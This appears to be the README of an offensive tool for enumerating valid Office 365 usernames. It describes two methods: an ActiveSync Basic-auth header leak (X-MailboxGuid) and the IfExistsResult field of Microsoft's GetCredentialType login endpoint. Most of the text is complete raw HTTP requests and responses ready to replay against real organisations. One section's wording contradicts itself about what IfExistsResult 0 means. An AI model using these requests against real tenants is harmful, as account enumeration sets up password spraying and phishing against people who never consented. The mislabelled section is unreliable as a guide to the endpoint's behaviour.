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Quentin Kaiser committed Feb 7, 2020
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# Office 365 User Enumeration

Enumerate valid usernames from Office 365 using ActiveSync or office.com login page.

## ActiveSync Enumeration

This method is based on grimhacker's [method](https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/) that sends Basic HTTP authentication requests to ActiveSync endpoint. However, **checking the status code no longer works given that Office365 returns a 401 whether the user exists or not**.

Instead, we send the same request but check for a custom HTTP response header (`X-MailboxGuid`) presence to identify whether a username is valid or not.

### Existing Account

The request below contains the following Base64 encoded credentials in the Authorization header: [email protected]:Password1

```
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=
```


This elicits the following response ("401 Unauthorized") with the `X-MailboxGuid` header set, indicating that the username is valid but the password is not:

```
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: d494a4bc-3867-436a-93ef-737f9e0522eb
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <---------------- This header leaks the account status (existing)
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-Powered-By: ASP.NET
X-FEServer: AM0PR06CA0096
WWW-Authenticate: Basic Realm="",Negotiate
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
--snip--
```

### Nonexistent Account

The request below contains the following Base64 encoded credentials in the Authorization header: [email protected]:Password1

```
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==
```

This elicits the following response ("401 Unauthorized" but this time without the `X-MailboxGuid` header, indicating the username is invalid.

```
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d
X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate
X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM
X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-DiagInfo: DB7PR04MB5452
X-BEServer: DB7PR04MB5452
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-FEServer: DB3PR0102CA0017
X-Powered-By: ASP.NET
X-FEServer: AM0PR04CA0024
Date: Fri, 31 Jan 2020 16:19:11 GMT
Connection: close
--snip--
```

## Office.com Enumeration

**WARNING**: This method only works for organization that are subscribers of Exchange Online and that do not have on-premise or hybrid deployment of Exchange server.

For companies that use on premise Exchange servers or some hybrid deployment and based on some configuration I haven't identified yet, the server might return a value indicating the username exists for any username value.

The method is useful when you don't want to burn an authentication attempt with 'Password1' :)


### Existing User

When the account does not exist, `IfExistsResult` is set to 0.

```
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json
{
"checkPhones": false,
"isOtherIdpSupported": true,
"isRemoteNGCSupported": true,
"federationFlags": 0,
"isCookieBannerShown": false,
"isRemoteConnectSupported": false,
"isSignup": false,
"originalRequest": "rQIIA--snip--YWSO2",
"isAccessPassSupported": true,
"isFidoSupported": false,
"isExternalFederationDisallowed": false,
"username": "[email protected]",
"forceotclogin": false
}
```

```
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 177110da-7ce4-4880-b856-be6326078046
x-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200
x-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Fri, 31 Jan 2020 16:01:26 GMT
Connection: close
Content-Length: 587
{
"Username":"[email protected]",
"Display":"[email protected]",
"IfExistsResult":0,
"ThrottleStatus":0,
"Credentials":{
"PrefCredential":1,
"HasPassword":true,
"RemoteNgcParams":null,
"FidoParams":null,
"SasParams":null
},
"EstsProperties":{
"UserTenantBranding":null,
"DomainType":3
},
"IsSignupDisallowed":true,
"apiCanary":"--snip--"
}
```

### Inexistent User

When the account does not exist, `IfExistsResult` is set to 1.

```
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json
{
"checkPhones": false,
"isOtherIdpSupported": true,
"isRemoteNGCSupported": true,
"federationFlags": 0,
"isCookieBannerShown": false,
"isRemoteConnectSupported": false,
"isSignup": false,
"originalRequest": "rQIIA--snip--YWSO2",
"isAccessPassSupported": true,
"isFidoSupported": false,
"isExternalFederationDisallowed": false,
"username": "[email protected]",
"forceotclogin": false
}
```

```
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7
x-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00
x-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Thu, 06 Feb 2020 12:57:43 GMT
Connection: close
Content-Length: 579
{
"ThrottleStatus": 0,
"apiCanary": "--snip--",
"Username": "[email protected]",
"IfExistsResult": 1,
"EstsProperties": {
"UserTenantBranding": null,
"DomainType": 3
},
"Credentials": {
"PrefCredential": 1,
"FidoParams": null,
"RemoteNgcParams": null,
"SasParams": null,
"HasPassword": true
},
"IsSignupDisallowed": true,
"Display": "[email protected]"
}
```
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